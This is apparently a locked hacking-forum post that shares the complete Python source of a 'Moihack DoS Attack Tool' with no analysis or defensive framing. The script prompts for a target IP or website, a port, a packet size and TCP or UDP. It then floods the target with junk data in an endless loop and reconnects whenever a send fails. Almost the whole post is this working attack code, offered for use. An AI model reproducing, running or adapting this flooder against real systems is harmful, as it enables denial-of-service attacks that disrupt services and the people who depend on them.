Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
992Proxy

Locked Moihack DoS Attack Tool


sQuo

Recommended Posts

 

Moihack DoS Attack Tool

 

 

[HIDE-THANKS]

 

[LENGUAJE=python]

 

#start modules import

import socket

import random

import sys

#end modules import

 

__version__='Dark Edition'

print('Moihack DoS Attack Tool', __version__)

print('Welcome to Moihack DoS Attack Tool')

 

print("""\n## ## ####### #### ## ## ### ###### ## ##

### ### ## ## ## ## ## ## ## ## ## ## ##

#### #### ## ## ## ## ## ## ## ## ## ##

## ### ## ## ## ## ######### ## ## ## #####

## ## ## ## ## ## ## ######### ## ## ##

## ## ## ## ## ## ## ## ## ## ## ## ##

## ## ####### #### ## ## ## ## ###### ## ## \n""")

 

#IP specific commands

IP = input('Enter your target\'s I.P address or Website URL:\n')

 

#Port specific commands

print('Please specify the port you wish to attack.\nDefault Port is 80.')

print('Some common port numbers are:')

print('Service Name: FTP\tTelnet\tHTTP\tNetBIOS')

print('Port Number: 21 \t23\t80\t137')

Port = (input('Enter Port:\n'))

if Port=="" or Port=='80':

Port=int('80')

print('Will attack HTTP service on', IP)

else:

Port=int(Port)

print('Port specified.')

 

#Packet Size specific commands

Size=(input('Please specify packet size.\nDefault packet size is 64.\nPacket size can\'t be more than 128:\n'))

if Size=="" or Size=='64':

Size=int('64')

print('Using default packet size.')

elif Size=='128':

Size=int('128')

print('Size set to max.')

elif Size>'128':

Size=int('128')

print('Size set to max instead.')

else:

Size=int(Size)

print('Packet size specified.')

RaP=(input('Do you want to enable random packet creation?\nIf yes type yes or press enter.\nIf no type no:\n'))

if RaP=='yes' or RaP=='YES' or RaP=="":

print('Random Packet Creation enabled.')

else:

print('Random Packet Creation disabled')

#Packet Creation specific commands

 

Data="qwertyuiopasdfghjklzxcvbnm0123456789~!@#$%^&*()+=`;?.,\|{}[]"

 

#Protocol Selection and Socket Creation specific commands

 

adr=(IP, Port)

Protocol = input('Select Protocol Of Internet Protocol Suite[TCP/UDP]\nDefault Protocol is TCP\n')

if Protocol =='TCP' or Protocol == 'tcp' or Protocol == "":

print('Using TCP Protocol.')

def attack():

ready=(input('Ready to launch DoS Attack?\nIf ready press enter or type yes.\nIf not type no:\n'))

if ready =='yes' or ready =='YES' or ready =="":

Sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

Sock.connect(adr)

while True:

global RaP

 

if RaP=='yes' or RaP=='YES' or RaP=="":

Bytes=(Data*(random.randrange(1,64)))

BytesEnc=str.encode(Bytes)

Sock.sendall(BytesEnc)

print('Flooding {0} in port {1} with {2} bytes of data'.format(IP, Port, sys.getsizeof(BytesEnc)))

else:

Bytes=(Data*Size)

BytesEnc=str.encode(Bytes)

Sock.sendall(BytesEnc)

print('Flooding {0} in port {1} with {2} bytes of data'.format(IP, Port, sys.getsizeof(BytesEnc)))

if socket.error:

Sock.shutdown(socket.SHUT_RDWR)

Sock.close

del Sock

Sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

Sock.connect(adr)

 

if RaP=='yes' or RaP=='YES' or RaP=="":

Bytes=(Data*(random.randrange(64,128)))

BytesEnc=str.encode(Bytes)

Sock.sendall(BytesEnc)

print('Flooding {0} in port {1} with {2} bytes of data'.format(IP, Port, sys.getsizeof(BytesEnc)))

else:

Bytes=(Data*Size)

BytesEnc=str.encode(Bytes)

Sock.sendall(BytesEnc)

print('Flooding {0} in port {1} with {2} bytes of data'.format(IP, Port, sys.getsizeof(BytesEnc)))

 

elif ready == 'no' or ready == 'NO':

print('When you are ready type yes or press Enter:')

attack()

 

else:

print('Thank you for trying Moihack DoS attack tool!!!')

sys.exit

attack()

else:

Sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

print('Using UDP Protocol.')

def attack():

ready=(input('Ready to launch DoS Attack?\nIf ready press enter or type yes.\nIf not type no:\n'))

if ready =='yes' or ready =='YES' or ready == "":

Sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

Sock.connect(adr)

while True:

global RaP

 

if RaP=='yes' or RaP=='YES' or RaP=="":

Bytes=(Data*(random.randrange(1,64)))

BytesEnc=str.encode(Bytes)

Sock.sendall(BytesEnc)

print('Flooding {0} in port {1} with {2} bytes of data'.format(IP, Port, sys.getsizeof(BytesEnc)))

else:

Bytes=(Data*Size)

BytesEnc=str.encode(Bytes)

Sock.sendall(BytesEnc)

print('Flooding {0} in port {1} with {2} bytes of data'.format(IP, Port, sys.getsizeof(BytesEnc)))

if socket.error:

Sock.shutdown(socket.SHUT_RDWR)

Sock.close

del Sock

Sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

Sock.connect(adr)

 

if RaP=='yes' or RaP=='YES' or RaP=="":

Bytes=(Data*(random.randrange(64,128)))

BytesEnc=str.encode(Bytes)

Sock.sendall(BytesEnc)

print('Flooding {0} in port {1} with {2} bytes of data'.format(IP, Port, sys.getsizeof(BytesEnc)))

else:

Bytes=(Data*Size)

BytesEnc=str.encode(Bytes)

Sock.sendall(BytesEnc)

print('Flooding {0} in port {1} with {2} bytes of data'.format(IP, Port, sys.getsizeof(BytesEnc)))

 

elif ready == 'no' or ready == 'NO':

print('When you are ready type yes or press Enter:')

attack()

 

else:

print('Thank you for trying Moihack DoS attack tool!!!')

sys.exit

attack()

 

 

[/LENGUAJE]

 

[/HIDE-THANKS]

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.